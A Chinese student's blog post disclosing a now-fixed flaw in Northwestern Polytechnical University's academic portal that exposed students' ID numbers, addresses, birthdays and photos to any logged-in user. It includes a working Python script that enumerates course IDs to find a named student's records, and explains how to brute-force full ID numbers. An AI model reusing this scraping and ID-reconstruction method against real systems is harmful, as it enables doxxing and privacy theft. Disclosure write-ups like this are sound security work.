引言
首先声明,该漏洞已被修复,且本人未凭借该漏洞从事任何非法行为,以下内容仅供学习参考,其他后果本人概不负责!
自从我去年进校,凭借勉强还行的爬虫技术,陆陆续续地在翱翔门户发现了一些泄露个人隐私的漏洞。
当然,大多数漏洞都对师生没有多大的影响,某些信息事实上也是可以通过合法途径访问。例如,你可以在“任意签”中发起一个签署,在添加校园人员的搜索框里可以找到师生的姓名、学号及学院,选择后可以在签署页面看到他的少数位身份证号及手机号码。
还有一些我自认为涉及较敏感隐私的漏洞,在完全查清后已经安全地提交给了相关部门。
但是在暑假期间,我在翱翔门户上面发现了一个较为严重的漏洞,这个漏洞所泄露的隐私过于庞大,而得到它仅仅需要一个翱翔账户。
后来发生的事情网民们都清楚了,西北工业大学遭受漂亮国攻击一事被曝光。在这之后(大概2022年8月),该漏洞也得到了修复。两件事或许有所关联。
我原计划开学后报告该漏洞,现在来看则不必了。以下是该漏洞的详细信息。
1. 课程通知
一般来说,上网课期间,老师们都会使用教务系统-课程通知发放各课程的线上授课渠道,部分界面如下:
重点是上图中的蓝色字体,点开后我们可以看到选了该课程的所有同学的名字、学号和年级等可公开信息。
但是,开发人员的粗心大意让这个地方成为了攻击的突破点。利用开发者工具我们可以抓包发现,服务器向客户端发送了这些同学的几乎所有的敏感信息,包括姓名、生日、性别、学号、入学/毕业时间、民族、身份证号其中9位(可利用生日信息填补其中的8位空缺,剩下的一位可用校验码简单穷举,得到所有位的身份证号)、家庭住址前后10个字符、导师/班主任(甚至包括导师的部分敏感信息)等敏感信息。其中还包含一串key字段,将它加上指定url前缀,就能直接访问该学生的照片(高考证件照)。
该API使用GET请求方式,仅需要课程ID号作为url字段,且携带能够登录教务系统的cookie(换句话说,有翱翔门户账号就行)作为请求头。
那么,某人能够获取到自己没有选上的课程的信息吗?不幸的是,答案是可以的。课程ID是每个教学班在数据库中的唯一识别码,一般为6位数,可在“全校开课查询”中通过抓包获取指定课程的ID号,进而可以掌握该课程已选学生的隐私信息。
2. 更进一步
仅凭学号或姓名,是否能够查找到此人的隐私呢?
稍微思索不难想到,几乎所有学生都会在大一修读某些通识课程,例如高数、思修等。
这里以工科生必修的高数(西工大叫作微积分)举例,利用程序收集指定学年的所有微积分课程ID号,并分别对其使用上一步的API进行GET请求,不断在body中查找指定学号或姓名。一旦发现,输出其相关的所有信息。这就完成了一次精准快速的隐私查找。
3. 代码
再次声明,该漏洞已被解决,以下代码仅供参考学习:
import requests import json headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/100.0.4896.127 Safari/537.36 Edg/100.0.1185.44", "Connection": "keep-alive", "referer": "https://jwxt.nwpu.edu.cn/student/for-std/course-notice/notice-index/******", # course id1, maybe constant "x-requested-with": "XMLHttpRequest", "Host": "jwxt.nwpu.edu.cn", "Cookie": "登录教务系统所需的cookie" } url = 'https://jwxt.nwpu.edu.cn/student/for-std/lesson-search/semester/158/search/270583?courseNameZhLike=%E5%BE%AE' \ '%E7%A7%AF%E5%88%86&bizTypeAssoc=1&assembleFields=course.code%2CminorCourse.nameZh%2CcourseType' \ '%2CopenDepartment%2CteacherAssignmentList%2CexamMode%2Ccampus%2CteachLang%2CroomType%2CtimeTableLayout' \ '%2CcrossBizTypes%2CcourseProperty&_=1660096252597 ' # 微积分的查询url response = requests.get(url, headers=headers) response.encoding = 'utf-8' all_inf = json.loads(response.text)['data'] a = [] for inf in all_inf: a.append(inf['id']) # 获取并存储当年所有微积分课程的id for j in a: url = f'https://jwxt.nwpu.edu.cn/student/ws/course-notice/info/{j}' response = requests.get(url, headers=headers) response.encoding = 'utf-8' # print(response.text) all_inf = json.loads(response.text) for person_inf in all_inf: student_inf = person_inf['student'] if student_inf['person']['nameZh'] == '目标学生的姓名': print(student_inf)
尾
时刻提防隐私泄露,维护不易的网络安全!
——某爱好cs的躺平大学生